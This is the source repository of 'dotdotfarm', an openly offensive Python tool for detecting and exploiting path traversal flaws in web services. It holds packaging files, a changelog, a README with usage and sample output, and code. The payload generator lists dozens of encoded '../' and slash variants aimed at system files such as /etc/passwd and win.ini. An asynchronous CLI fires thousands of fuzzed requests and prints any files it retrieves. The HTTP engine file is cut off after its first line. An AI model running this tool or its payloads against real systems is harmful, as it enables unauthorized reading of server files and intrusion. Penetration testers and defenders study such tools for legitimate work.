├── dotdotfarm ├── __init__.py ├── engines │ ├── __init__.py │ ├── websock_engine.py │ └── http_engine.py ├── generators │ ├── __init__.py │ └── words_generator.py └── callbacks │ ├── __init__.py │ ├── cobject.py │ └── callbacks.py ├── pyproject.toml ├── requirements.txt ├── setup.py ├── CHANGELOG.md ├── dotdotweb.py ├── README.md └── LICENSE /dotdotfarm/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /dotdotfarm/engines/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /dotdotfarm/engines/websock_engine.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /dotdotfarm/generators/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | #! -*- coding: utf-8 -*- 3 | 4 | from . import words_generator -------------------------------------------------------------------------------- /dotdotfarm/callbacks/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | #! -*- coding: utf-8 -*- 3 | 4 | from .callbacks import print_http_result, add_file 5 | from .cobject import CallbackObject -------------------------------------------------------------------------------- /dotdotfarm/callbacks/cobject.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # ! -*- coding: utf-8 -*- 3 | 4 | class CallbackObjectState: 5 | pass 6 | 7 | 8 | class Passing(CallbackObjectState): 9 | pass 10 | 11 | class Failed(CallbackObjectState): 12 | pass 13 | 14 | 15 | class FailedCallback(Exception): 16 | pass 17 | 18 | 19 | class CallbackObject: 20 | def __init__(self, response): 21 | self.state = Passing 22 | self.response = response 23 | -------------------------------------------------------------------------------- /pyproject.toml: -------------------------------------------------------------------------------- 1 | [build-system] 2 | requires = ["setuptools"] 3 | build-backend = "setuptools.build_meta" 4 | 5 | [project] 6 | name = 'dotdotfarm' 7 | description = 'Fast Path Traversal exploitation tool' 8 | version = '1.7.2' 9 | #dynamic = ["version"] 10 | dependencies = [ 11 | "aiohttp==3.9.5", 12 | "aiohttp_socks==0.8.4", 13 | "aiosignal==1.3.1", 14 | "async-timeout==4.0.3", 15 | "attrs==23.2.0", 16 | "blinker==1.7.0", 17 | "click==8.1.7", 18 | "colorama==0.4.6", 19 | "flask==3.0.3", 20 | "frozenlist==1.4.1", 21 | "idna==3.7", 22 | "itsdangerous==2.2.0", 23 | "jinja2==3.1.3", 24 | "markupsafe==2.1.5", 25 | "multidict==6.0.5", 26 | "python-socks[asyncio]==2.4.4", 27 | "tqdm==4.64.1", 28 | "websockets==12.0", 29 | "werkzeug==3.0.2", 30 | "yarl==1.9.4" 31 | ] 32 | authors = [ 33 | {name = "treddis"} 34 | ] 35 | readme = 'README.md' 36 | license = {text = "GPLv3 license"} 37 | keywords = ['path-traversal', 'fuzzer', 'appsec', 'lfi', 'security', 'web', 'pentesting'] 38 | 39 | [project.urls] 40 | Homepage = 'https://github.com/treddis/dotdotfarm' 41 | Repository = 'https://github.com/treddis/dotdotfarm.git' 42 | Changelog = 'https://github.com/treddis/dotdotfarm/blob/master/CHANGELOG.md' 43 | 44 | [project.scripts] 45 | dotdotweb = 'dotdotfarm.dotdotweb:main' -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | # 2 | # This file is autogenerated by pip-compile with Python 3.12 3 | # by the following command: 4 | # 5 | # pip-compile 6 | # 7 | aiohttp==3.9.5 8 | # via 9 | # aiohttp-socks 10 | # dotdotfarm (setup.py) 11 | aiohttp-socks==0.8.4 12 | # via dotdotfarm (setup.py) 13 | aiosignal==1.3.1 14 | # via aiohttp 15 | async-timeout==4.0.3 16 | # via python-socks 17 | attrs==23.2.0 18 | # via aiohttp 19 | blinker==1.7.0 20 | # via flask 21 | click==8.1.7 22 | # via flask 23 | colorama==0.4.6 24 | # via 25 | # click 26 | # dotdotfarm (setup.py) 27 | # tqdm 28 | flask==3.0.3 29 | # via dotdotfarm (setup.py) 30 | frozenlist==1.4.1 31 | # via 32 | # aiohttp 33 | # aiosignal 34 | idna==3.7 35 | # via yarl 36 | itsdangerous==2.2.0 37 | # via flask 38 | jinja2==3.1.3 39 | # via flask 40 | markupsafe==2.1.5 41 | # via 42 | # jinja2 43 | # werkzeug 44 | multidict==6.0.5 45 | # via 46 | # aiohttp 47 | # yarl 48 | python-socks[asyncio]==2.4.4 49 | # via aiohttp-socks 50 | tqdm==4.64.1 51 | # via dotdotfarm (setup.py) 52 | websockets==12.0 53 | # via dotdotfarm (setup.py) 54 | werkzeug==3.0.2 55 | # via flask 56 | yarl==1.9.4 57 | # via 58 | # aiohttp 59 | # dotdotfarm (setup.py) 60 | 61 | # The following packages are considered to be unsafe in a requirements file: 62 | # setuptools 63 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # ! -*- coding: utf-8 -*- 3 | 4 | import os 5 | import shutil 6 | from setuptools import setup, find_packages 7 | 8 | from pathlib import Path 9 | this_directory = Path(__file__).parent 10 | long_description = (this_directory / "README.md").read_text() 11 | 12 | __version__ = '1.7.2' 13 | install_requires = [ 14 | "aiohttp~=3.9.3", 15 | 'tqdm>=4.64.1', 16 | "colorama~=0.4.6", 17 | "setuptools", 18 | "tqdm", 19 | "yarl", 20 | "multidict", 21 | "attrs", 22 | "yarl", 23 | "async-timeout", 24 | "aiosignal" 25 | "aiohttp-socks" 26 | ] 27 | 28 | install_dir = os.path.abspath('.') 29 | try: 30 | shutil.copy(os.path.join(install_dir, 'dotdotweb.py'), os.path.join(install_dir, 'dotdotfarm', 'dotdotweb.py')) 31 | setup( 32 | name='dotdotfarm', 33 | version=__version__, 34 | description='Fast Path Traversal exploitation tool', 35 | long_description_content_type='text/markdown', 36 | long_description=long_description, 37 | license='GPL', 38 | author='treddis', 39 | packages=find_packages(), 40 | install_requires=install_requires, 41 | entry_points={ 42 | 'console_scripts': 43 | ['dotdotweb = dotdotfarm.dotdotweb:main'] 44 | }) 45 | except FileNotFoundError: 46 | setup( 47 | name='dotdotfarm', 48 | version=__version__, 49 | description='Path Traversal exploitation tool', 50 | license='GPL', 51 | author='treddis', 52 | packages=find_packages(), 53 | install_requires=install_requires, 54 | entry_points={ 55 | 'console_scripts': 56 | ['dotdotweb = dotdotfarm.dotdotweb:main'] 57 | }) 58 | finally: 59 | pass 60 | # os.remove(os.path.join(install_dir, 'dotdotfarm', 'dotdotweb.py')) 61 | -------------------------------------------------------------------------------- /dotdotfarm/generators/words_generator.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | #! -*- coding: utf-8 -*- 3 | 4 | import re 5 | from dotdotfarm.engines.http_engine import HttpQuery 6 | 7 | # Payload = namedtuple('PAYLOAD', 'type_ value payload') 8 | 9 | WINDOWS_FILES = ['Windows|win.ini', 'Windows|System32|drivers|etc|hosts'] 10 | LINUX_FILES = ['etc|passwd', 'etc|issue', 'etc|hosts', 'etc|group'] 11 | 12 | FILES_REGEXP = { 13 | # LINUX_FILES[0]: '(.*:){6}', 14 | LINUX_FILES[0]: '[\w-]+:(x|\w)+:\d+:\d+:.*:[/a-zA-Z0-9-]+:[/a-zA-Z0-9-]+', 15 | LINUX_FILES[1]: '.*\n \\\l.*', 16 | LINUX_FILES[2]: '127.0.0.1\\s+localhost', 17 | LINUX_FILES[3]: '(.*:){3}', 18 | 19 | WINDOWS_FILES[0]: '.*for 16-bit app support.*', 20 | WINDOWS_FILES[1]: '^[^"]+This is a sample HOSTS file used by Microsoft TCP/IP for Windows[^"]*$' 21 | } 22 | 23 | DOTS = [ 24 | '..', 25 | '%2e%2e', # URL encoding 26 | '.%00.', 27 | '..%00', 28 | '..%01', 29 | '.?', '??', '?.', 30 | '%5C..', 31 | '.%2e', 32 | '%2e.', 33 | '.../.', 34 | '..../', 35 | '%%c0%6e%c0%6e', 36 | '0x2e0x2e', 37 | '%c0.%c0.', 38 | '%252e%252e', # double URL encoding 39 | '%c0%2e%c0%2e', 40 | '%c0%ae%c0%ae', 41 | '%c0%5e%c0%5e', 42 | '%c0%ee%c0%ee', 43 | '%c0%fe%c0%fe', 44 | '%uff0e%uff0e', 45 | '%%32%%65%%32%%65', 46 | '%e0%80%ae%e0%80%ae', 47 | '%25c0%25ae%25c0%25ae', 48 | '%f0%80%80%ae%f0%80%80%ae', 49 | '%f8%80%80%80%ae%f8%80%80%80%ae', 50 | '%fc%80%80%80%80%ae%fc%80%80%80%80%ae'] 51 | SLASHES = [ 52 | '/', '\\', 53 | '%2f', '%5c', 54 | '0x2f', '0x5c', 55 | '%252f', 56 | '%255c', # double URL encoding: \ 57 | '%c0%2f', '%c0%af', '%c0%5c', '%c1%9c', '%c1%pc', 58 | '%c0%9v', '%c0%qf', '%c1%8s', '%c1%1c', '%c1%af', 59 | '%bg%qf', '%u2215', '%u2216', '%uEFC8', '%uF025', 60 | '%%32%%66', '%%35%%63', 61 | '%e0%80%af', 62 | '%25c1%259c', '%25c0%25af', 63 | '%f0%80%80%af', 64 | '%f8%80%80%80%af'] 65 | 66 | class Generator: 67 | 68 | def __init__(self, type_, inputs, depth, os, 69 | custom_file=None): 70 | self.type_ = type_ 71 | self.inputs = inputs 72 | self.depth = depth 73 | self.slashes = SLASHES 74 | self.dots = DOTS 75 | if custom_file: 76 | self.files = [re.sub(r'[\\|/]', '|', custom_file)] 77 | elif os == 'windows': 78 | self.files = WINDOWS_FILES 79 | elif os == 'posix' or os == 'linux': 80 | self.files = LINUX_FILES 81 | else: 82 | self.files = LINUX_FILES + WINDOWS_FILES 83 | 84 | if self.type_ == 'http': 85 | self.get_payloads = self.get_payloads_http 86 | elif self.type_ == 'ws': 87 | self.get_payloads = self.get_payloads_ws 88 | 89 | def get_payloads_http(self): 90 | for type_, inp_list in self.inputs.items(): 91 | for file in self.files: 92 | for dot in self.dots: 93 | for slash in self.slashes: 94 | for i in range(1, self.depth + 1): 95 | for input_ in inp_list: 96 | payload = (dot + slash) * i + file.replace('|', slash) 97 | fuzzed = input_.replace('FUZZ', payload) 98 | yield HttpQuery(type_, fuzzed, payload, file) 99 | -------------------------------------------------------------------------------- /CHANGELOG.md: -------------------------------------------------------------------------------- 1 | # Change log 2 | All notable changes to this project will be documented in this file. 3 | 4 | 5 | ## v1.7.1 - 2024-04-19 6 | ### Added 7 | - Regex for filter parameters 8 | - Proxy support 9 | ### Fixed 10 | - output flood while stopping program (KeyboardInterrupt) 11 | - some exceptions 12 | 13 | ## v1.6.0 - 2023-09-25 14 | ### Added 15 | - Modified HTTP engine for mor instantly starting 16 | - Added argument groups in help 17 | - More readable output 18 | ### Fixed 19 | - Fixed known files regex for proper PT validation 20 | - Fixed delay between requests 21 | - Fixed inconsistent callbacks working 22 | 23 | ## v1.5.2 - 2023-07-02 24 | ### Fixed 25 | - fixed continuous requests after timeout/refused connection 26 | 27 | ## v1.5.1 - 2023-04-16 28 | ### Fixed 29 | - fixed invalid timeout exception while connection to target is established. 30 | - removed "--method" parameter because they are calculated automatically. 31 | - fixed invalid regexp checking for known standard OS files. 32 | 33 | ## v1.5.0 - 2023-03-13 34 | ### Added 35 | - detection mode as default for dotdotweb 36 | - added delay parameter in CLI & http engine for slowing down requests speed 37 | ### Fixed 38 | - error while printing files content 39 | 40 | ## v1.4.2 - 2023-03-13 41 | ### Added 42 | - proper handling of timeout exceptions 43 | ### Fixed 44 | - unused websocket library import 45 | - notation of CLI parameters 46 | 47 | ## v1.4.1 - 2023-02-22 48 | ### Fixed 49 | - entry point in setup.py 50 | - valid structure of callbacks module 51 | 52 | ## v1.4.0 - 2023-02-18 53 | ### Added 54 | - version via --version parameter 55 | - version to README 56 | - specifying of depth for generator 57 | - specifying max depth of PT for generator 58 | - preparations for callbacks 59 | ### Fixed 60 | - typo in README & CHANGELOG 61 | 62 | ## v1.3.0 (BETA) - 2023-01-27 63 | ### Added 64 | - testing of all available files for windows and linux by default, thus closing the limitation of OS type requirement 65 | - added a default timeout of 60 seconds 66 | ### Fixed 67 | - README typo 68 | - project tree 69 | 70 | ## v1.2.0 (BETA) - 2023-01-23 71 | ### Added 72 | - Features to README 73 | - Fixed TQDM status bar 74 | - Reading of files after succeeding the payload 75 | 76 | ## v1.1.0 (BETA) - 2023-01-22 77 | ### Added 78 | - limitations of the tool to README 79 | ### Fixed 80 | - typo in README 81 | 82 | ## v1.0.0 (BETA) - 2023-01-22 83 | ### Added 84 | - support of setup.py 85 | - project as package 86 | - callbacks for requests 87 | 88 | ## v0.3.0 (ALPHA) - 2023-01-18 89 | ### Added 90 | - support for attacks via HTTP headers 91 | - status bar (tqdm) for monitoring results 92 | - some results of working 93 | ### Fixed 94 | - invalid handling of input for payloads generator 95 | 96 | ## v0.2.0 (ALPHA) - 2023-01-17 97 | ### Added 98 | - first view of project structure 99 | - TODO comments 100 | - moved payloads generator to module 101 | - first logics of payloads generator 102 | - engines module (empty) 103 | - setup.py 104 | - more informative output 105 | - acceleration via increasing of available simultaneous TCP connections 106 | ### Fixed 107 | - added handlers for graceful shutdown of coroutines after receiving reset&timeout errors 108 | 109 | ## v0.1.1 (ALPHA) - 2023-01-16 110 | ### Fixed 111 | - updating README 112 | 113 | ## v0.1.0 (ALPHA) - 2023-01-16 114 | - initial commit 115 | -------------------------------------------------------------------------------- /dotdotfarm/callbacks/callbacks.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # ! -*- coding: utf-8 -*- 3 | 4 | import re 5 | import asyncio 6 | from colorama import Fore, Style 7 | from tqdm import tqdm 8 | 9 | import dotdotfarm.engines.http_engine 10 | import dotdotfarm.generators.words_generator 11 | from dotdotfarm.callbacks.cobject import FailedCallback, Failed 12 | 13 | 14 | def container(data): 15 | def decorator(fn): 16 | def wrapper(*args): 17 | fn() 18 | 19 | wrapper.attrib = data 20 | return wrapper 21 | 22 | return decorator 23 | 24 | 25 | def print_http_result(future): 26 | """ Basic callback for printing result of request. """ 27 | try: 28 | cobject = future.result() 29 | if cobject is None: 30 | return 31 | if type(cobject.response) == dotdotfarm.engines.http_engine.HttpResponse: 32 | if cobject.response.status // 100 == 2: 33 | tqdm.write(' {:<100}{:>20}'.format(cobject.response.payload, 34 | f' [Status: {Fore.GREEN}{cobject.response.status}{Style.RESET_ALL}, Size: {len(cobject.response.data)}]')) 35 | elif cobject.response.status // 100 == 5: 36 | tqdm.write(' {:<100}{:>20}'.format(cobject.response.payload, 37 | f' [Status: {Fore.RED}{cobject.response.status}{Style.RESET_ALL}, Size: {len(cobject.response.data)}]')) 38 | elif cobject.response.status // 100 == 4: 39 | tqdm.write(' {:<100}{:>20}'.format(cobject.response.payload, 40 | f' [Status: {Fore.YELLOW}{cobject.response.status}{Style.RESET_ALL}, Size: {len(cobject.response.data)}]')) 41 | except KeyboardInterrupt: 42 | raise asyncio.CancelledError 43 | except: 44 | pass 45 | 46 | 47 | def validate_file(stop_on_success): 48 | """ Callback used for checking files' content. """ 49 | 50 | def validate(future): 51 | try: 52 | cobject = future.result() 53 | if cobject is None: 54 | return 55 | 56 | if type(cobject.response) == dotdotfarm.engines.http_engine.HttpResponse: 57 | data = cobject.response.data.decode() 58 | file = cobject.response.file 59 | url = cobject.response.url 60 | 61 | if re.match(dotdotfarm.generators.words_generator.FILES_REGEXP[file], data) == None: 62 | cobject.state = Failed 63 | # future.remove_done_callback(add_file(None)) 64 | # future.cancel() 65 | # raise FailedCallback 66 | elif stop_on_success: 67 | for task in asyncio.all_tasks(asyncio.get_event_loop()): 68 | task.cancel() 69 | else: 70 | pass 71 | except AttributeError: 72 | pass 73 | except KeyboardInterrupt: 74 | raise asyncio.CancelledError 75 | except: 76 | pass 77 | 78 | return validate 79 | 80 | 81 | def add_file(files_dict): 82 | """ Callback used for saving data from response. """ 83 | # @container(files_dict) 84 | def add(future): 85 | try: 86 | cobject = future.result() 87 | if cobject is None: 88 | return 89 | if cobject.state == Failed: 90 | return 91 | if type(cobject.response) == dotdotfarm.engines.http_engine.HttpResponse: 92 | data = cobject.response.data.decode() 93 | if data not in files_dict.values(): 94 | files_dict[cobject.response.url] = data 95 | except KeyboardInterrupt: 96 | raise asyncio.CancelledError 97 | except: 98 | pass 99 | 100 | return add 101 | 102 | 103 | def exec(): 104 | pass 105 | -------------------------------------------------------------------------------- /dotdotweb.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | #! -*- coding: utf-8 -*- 3 | 4 | import argparse 5 | # import logging 6 | import asyncio 7 | import re 8 | 9 | import yarl 10 | import time 11 | from functools import partial 12 | from colorama import init, Fore, Style 13 | init() 14 | 15 | from dotdotfarm.generators.words_generator import Generator 16 | from dotdotfarm.engines.http_engine import HTTPEngine 17 | from dotdotfarm.callbacks.callbacks import print_http_result, add_file, validate_file 18 | 19 | __version__ = '1.7.2' 20 | 21 | argparse_list = partial(str.split, sep=',') 22 | 23 | async def factory(engine): 24 | try: 25 | task = asyncio.get_running_loop().create_task(engine.run()) 26 | await task 27 | except asyncio.CancelledError: 28 | task.cancel() 29 | except ConnectionResetError: 30 | pass 31 | except BaseException as e: 32 | print(e) 33 | 34 | def main(): 35 | print(f"""{Fore.CYAN} 36 | .___ __ .___ __ {Fore.RED}_____ 37 | {Fore.CYAN}__| _/{Fore.YELLOW}____{Fore.CYAN}_/ |_ __| _/{Fore.YELLOW}____{Fore.CYAN}_/ |__{Fore.RED}/ ____\\____ _______ _____ 38 | {Fore.CYAN}/ __ |{Fore.YELLOW}/ _ \\{Fore.CYAN} __\\/ __ |{Fore.YELLOW}/ _ \\{Fore.CYAN} __{Fore.RED}\\ __\\\\__ \\\\_ __ \\/ \\ 39 | {Fore.CYAN}/ /_/ {Fore.YELLOW}( <_> ){Fore.CYAN} | / /_/ {Fore.YELLOW}( <_> ){Fore.CYAN} | {Fore.RED}| | / __ \\| | \\/ Y Y \\ 40 | {Fore.CYAN}\\____ |{Fore.YELLOW}\\____/{Fore.CYAN}|__| \\____ |{Fore.YELLOW}\\____/{Fore.CYAN}|__| {Fore.RED}|__| (____ /__| |__|_| / 41 | {Fore.CYAN}\\/ \\/ {Fore.RED}\\/ \\/ 42 | {Style.RESET_ALL}""") 43 | 44 | parser = argparse.ArgumentParser(description='fast path traversal identificator & exploit') 45 | parser.add_argument('--version', action='version', version=f'dotdotweb {__version__}', help='print version of the tool') 46 | parser.add_argument('--proxy', default='', help='specify proxy to test selected url') 47 | 48 | # Callbacks 49 | callbacks = parser.add_argument_group('Callbacks') 50 | callbacks.add_argument('-V', '--validate', action='store_true', help='validate files\' content after successfull exploitation (default false)') 51 | # parser.add_argument('-v', '--verbose', action='store_true', help='verbose output of responses') 52 | # parser.add_argument('--debug', action='store_true', help='debug output') 53 | callbacks.add_argument('-A', '--all', action='store_true', help='try all files after successfull exploitation (default false)') 54 | callbacks.add_argument('-P', '--print-files', action='store_true', help='read traversed files (default false)') 55 | # parser.add_argument('-M', '--module-detect', action='store_true', default=False, help='intelligent service detection') 56 | 57 | # Parameters for payload generator 58 | generator = parser.add_argument_group('Payload generator parameters') 59 | generator.add_argument('-o', '--os-type', choices=['windows', 'linux'], default='', help='target OS type (default all)') 60 | generator.add_argument('-d', '--depth', type=int, default=5, help='depth of PT searching (default 5)') 61 | generator.add_argument('-f', '--file', help='specific file for PT detection') 62 | 63 | # Timings 64 | parser.add_argument('--rate', type=int, default=0, help='limit requests per second (default 0)') 65 | parser.add_argument('-t', '--timeout', type=int, default=60, help='timeout of connections (default 60)') 66 | 67 | # Filters 68 | filters = parser.add_argument_group('Filters') 69 | filters.add_argument('-fs', type=argparse_list, default=[], help='filter output by size (with quantifiers)') 70 | filters.add_argument('-fc', type=argparse_list, default=[], help='filter output by response code (with quantifiers)') 71 | 72 | # Payload specificators 73 | locations = parser.add_argument_group('Payload locations') 74 | locations.add_argument('--method', help='custom method for requests') 75 | locations.add_argument('--header', dest='headers', default=[], action='append', help='custom header for requests') 76 | locations.add_argument('--data', default='', help='specify POST data') 77 | locations.add_argument('url', help='target URL') 78 | 79 | opts = parser.parse_args() 80 | # if opts.debug: 81 | # logging.getLogger("asyncio").setLevel(logging.WARNING) 82 | 83 | if opts.fs: 84 | if not all(map(lambda x: re.match(r'[0-9\*\?]+', x), opts.fs)): 85 | parser.error('Invalid -fs parameter') 86 | else: 87 | opts.fs = list(map(lambda x: x.replace("*", "\\d*").replace("?", "\\d?"), opts.fs)) 88 | if opts.fc: 89 | if not all(map(lambda x: re.match(r'[0-9\*\?]+', x), opts.fc)): 90 | parser.error('Invalid -fc parameter') 91 | else: 92 | opts.fc = list(map(lambda x: x.replace("*", "\\d*").replace("?", "\\d?"), opts.fc)) 93 | if opts.proxy: 94 | if not re.match(r'^(socks(5|4)|https?)://(\S+:\S+@)?(([0-9]\.){3}[0-9]{1,3}|[a-zA-Z0-9-.]{1,255})(:\d+)?\/?$', opts.proxy): 95 | parser.error('Invalid --proxy parameter') 96 | # opts.fc = list(map(int, opts.fc)) 97 | 98 | if 'FUZZ' not in opts.url and 'FUZZ' not in opts.data and not any(map(lambda x: 'FUZZ' in x, opts.headers)): 99 | parser.error('You must specify FUZZ parameter in URL/Header/Data by example Referer: https://google.com/path?param=FUZZ') 100 | inputs = {} 101 | if 'FUZZ' in opts.url: 102 | inputs['url'] = [opts.url] 103 | if 'FUZZ' in opts.data: 104 | inputs['data'] = [opts.data] 105 | for header in opts.headers: 106 | if 'FUZZ' in header: 107 | if 'header' in inputs: 108 | inputs['header'].append(header) 109 | else: 110 | inputs['header'] = [header] 111 | 112 | generator = Generator('http', inputs, opts.depth, opts.os_type, custom_file=opts.file) 113 | payloads = generator.get_payloads() 114 | 115 | loop = asyncio.new_event_loop() 116 | if yarl.URL(opts.url).scheme in ('http', 'https'): 117 | headers = dict((header.split(': ') for header in opts.headers if header.count('FUZZ') == 0)) 118 | 119 | callbacks = [] 120 | if opts.validate: 121 | callbacks.append(validate_file(False if opts.all else True)) 122 | callbacks.append(print_http_result) 123 | if opts.print_files: 124 | files = {} 125 | callbacks.append(add_file(files)) 126 | engine = HTTPEngine( 127 | opts.url, 128 | opts.method, headers, opts.data, 129 | payloads, 130 | callbacks=callbacks, 131 | filters=(opts.fc, opts.fs), 132 | timeout=opts.timeout, 133 | rate=opts.rate, 134 | proxy=opts.proxy) 135 | 136 | task = loop.create_task(factory(engine)) 137 | else: 138 | parser.error('This URL scheme is not implemented yet') 139 | 140 | try: 141 | start = time.time() 142 | print(f'[{Fore.CYAN}*{Style.RESET_ALL}] Started at {time.ctime(start)}') 143 | loop.run_until_complete(task) 144 | except KeyboardInterrupt: 145 | print(f'\n[{Fore.CYAN}*{Style.RESET_ALL}] Got keyboard interrupt') 146 | task.cancel() 147 | loop.run_until_complete(task) 148 | finally: 149 | loop.close() 150 | end = time.time() 151 | 152 | if opts.print_files: 153 | for k, v in files.items(): 154 | print('\n\n\t' + f'{Fore.YELLOW}-{Fore.RED}+' * 10 + f' {Style.RESET_ALL}{k} ' + f'{Fore.RED}+{Fore.YELLOW}-' * 10 + '\n' + f'{Style.RESET_ALL}\n{v}\n') 155 | print(f'[{Fore.CYAN}*{Style.RESET_ALL}] Ended at {time.ctime(end)} ({int(end - start)} seconds)') 156 | 157 | if __name__ == '__main__': 158 | main() 159 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | dotdotfarm 2 | ========== 3 | 4 | ![Version](https://img.shields.io/badge/version-1.7.2-blue?style=for-the-badge) 5 | 6 | Utility for detection & exploitation of Path Traversal vulnerabilities in various network services 7 | 8 | dotdotweb - PT tool for HTTP services 9 | 10 | 11 | Tools are written in Python with using asyncio requests (aiohttp) with some acceleration techniques, which allows you to make up to ~3K requests per second 12 | 13 | Features 14 | -------- 15 | - using asynchronous requests for increasing scan of target 16 | - ability to fetch files' content after succeeding a payload 17 | - specifying payload in any part of query (URL, headers or POST data) 18 | - using callbacks for handling of results 19 | 20 | Installation 21 | ============ 22 | Install from PyPi 23 | ```bash 24 | pip install dotdotfarm 25 | ``` 26 | You can also install it directly from GitHub repository 27 | ```bash 28 | git clone https://github.com/treddis/dotdotfarm.git 29 | cd dotdotfarm 30 | pip3 install . 31 | ``` 32 | To upgrade tool run 33 | ```bash 34 | pip install --upgrade dotdotfarm 35 | ``` 36 | 37 | Usage 38 | ===== 39 | ```text 40 | 41 | .___ __ .___ __ _____ 42 | __| _/_____/ |_ __| _/_____/ |__/ ____\____ _______ _____ 43 | / __ |/ _ \ __\/ __ |/ _ \ __\ __\\__ \\_ __ \/ \ 44 | / /_/ ( <_> ) | / /_/ ( <_> ) | | | / __ \| | \/ Y Y \ 45 | \____ |\____/|__| \____ |\____/|__| |__| (____ /__| |__|_| / 46 | \/ \/ \/ \/ 47 | 48 | usage: dotdotweb [-h] [--version] [-V] [-A] [-R] [-o {windows,linux}] 49 | [-d DEPTH] [-f FILE] [--delay DELAY] 50 | [-t TIMEOUT] [-fs FS] [-fc FC] [--header HEADERS] [--data DATA] 51 | url 52 | 53 | fast path traversal identificator & exploit 54 | 55 | positional arguments: 56 | url target URL 57 | 58 | options: 59 | -h, --help show this help message and exit 60 | --version print version of the tool 61 | -V, --validate validate files' content after successfull exploitation 62 | (default false) 63 | -A, --all try all files after successfull exploitation 64 | (default false) 65 | -R, --print-files read traversed files (default false) 66 | -o {windows,linux}, --os-type {windows,linux} 67 | target OS type (default all) 68 | -d DEPTH, --depth DEPTH 69 | depth of PT searching (default 5) 70 | -f FILE, --file FILE specific file for PT detection 71 | --delay DELAY make delays between requests in milliseconds (default 0) 72 | -t TIMEOUT, --timeout TIMEOUT 73 | timeout of connections (default 60) 74 | -fs FS filter output by size 75 | -fc FC filter output by response code 76 | --header HEADERS custom header for requests 77 | --data DATA specify POST data 78 | ``` 79 | 80 | ### Passing payload in GET parameters 81 | Passing brute parameters via `?par=val` pairs: 82 | ```text 83 | dotdotweb -o windows -fc 500 \ 84 | http://someserver.com:1280/newpath?testparameter=FUZZ&secondparameter=somevalue 85 | ``` 86 | 87 | ### Passing payload in headers 88 | Passing brute parameters via `Origin: master=FUZZ` pairs: 89 | ```text 90 | dotdotweb -o linux -fc 500,404 -H "Referer: https://www.google.com/path?q=FUZZ" \ 91 | http://someserver.com:1280/newpath?testparameter=firstvalue&secondparameter=somevalue 92 | ``` 93 | 94 | ### Passing payload in POST data 95 | Passing brute parameters via POST data parameters 96 | ```text 97 | dotdotweb -o linux -fc 500 -fs 111 -d "key0=val0&key1=val1" \ 98 | http://someserver.com:1280/newpath?testparameter=firstvalue&secondparameter=somevalue 99 | ``` 100 | 101 | ### Using regexp to filter responses 102 | Pass -fs (filter by size) or -fc (filter by status code) to filter out not related responses 103 | ```text 104 | dotdotweb -fc 50*,4* -fs 18??,1834* http://someserver.com:1234/testpath/FUZZ 105 | ``` 106 | 107 | ### Launch callbacks on responses 108 | You can launch callbacks on your responses to perform some check or make other actions. 109 | In the box implemented callbacks: 110 | - validate response content using regexp and print then (-V). You can pass your regexp too! 111 | - try all payloads even entry point is found (-A) 112 | - read traversed files content and print them on screen (-P) 113 | 114 | Example output 115 | ============== 116 | ```text 117 | dotdotweb -o windows "http://localhost:8080/pathtrav?query=FUZZ" 118 | 119 | .___ __ .___ __ _____ 120 | __| _/_____/ |_ __| _/_____/ |__/ ____\____ _______ _____ 121 | / __ |/ _ \ __\/ __ |/ _ \ __\ __\\__ \\_ __ \/ \ 122 | / /_/ ( <_> ) | / /_/ ( <_> ) | | | / __ \| | \/ Y Y \ 123 | \____ |\____/|__| \____ |\____/|__| |__| (____ /__| |__|_| / 124 | \/ \/ \/ \/ 125 | 126 | [*] Started at Sun Jan 22 19:32:46 2023 127 | ../../../Windows/win.ini [Status: 200, Size: 111] 128 | ../Windows/win.ini [Status: 200, Size: 111] 129 | ..\Windows\win.ini [Status: 200, Size: 111] 130 | ..%2fWindows%2fwin.ini [Status: 200, Size: 111] 131 | ..\..\..\Windows\win.ini [Status: 200, Size: 111] 132 | ..%5c..%5c..%5cWindows%5cwin.ini [Status: 200, Size: 111] 133 | ..%5cWindows%5cwin.ini [Status: 200, Size: 111] 134 | .%2e/Windows/win.ini [Status: 200, Size: 111] 135 | .%2e\Windows\win.ini [Status: 200, Size: 111] 136 | .%2e%2fWindows%2fwin.ini [Status: 200, Size: 111] 137 | .%2e%5cWindows%5cwin.ini [Status: 200, Size: 111] 138 | %5C..%5cWindows%5cwin.ini [Status: 200, Size: 111] 139 | f%5C..%2fWindows%2fwin.ini [Status: 200, Size: 111] 140 | %5C../Windows/win.ini [Status: 200, Size: 111] 141 | %5C..\%5C..\%5C..\Windows\win.ini [Status: 200, Size: 111] 142 | .%2e\.%2e\.%2e\Windows\win.ini [Status: 200, Size: 111] 143 | .%2e%5c.%2e%5c.%2e%5cWindows%5cwin.ini [Status: 200, Size: 111] 144 | %5C..%2f%5C..%2f%5C..%2fWindows%2fwin.ini [Status: 200, Size: 111] 145 | %5C../%5C../%5C../Windows/win.ini [Status: 200, Size: 111] 146 | %5C..%5c%5C..%5c%5C..%5cWindows%5cwin.ini [Status: 200, Size: 111] 147 | %2e./Windows/win.ini [Status: 200, Size: 111] 148 | %2e./%2e./%2e./Windows/win.ini [Status: 200, Size: 111] 149 | %2e.%5cWindows%5cwin.ini [Status: 200, Size: 111] 150 | %2e.%5c%2e.%5c%2e.%5cWindows%5cwin.ini [Status: 200, Size: 111] 151 | .%2e%2f.%2e%2f.%2e%2fWindows%2fwin.ini [Status: 200, Size: 111] 152 | 100%|██████████████████████████████████████████████████████████| 6960/6960 [00:12<00:00, 575.63it/s] 153 | [*] Ended at Sun Jan 22 19:32:58 2023 (11 seconds) 154 | ``` 155 | -------------------------------------------------------------------------------- /dotdotfarm/engines/http_engine.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # ! -*- coding: utf-8 -*- 3 | 4 | import asyncio 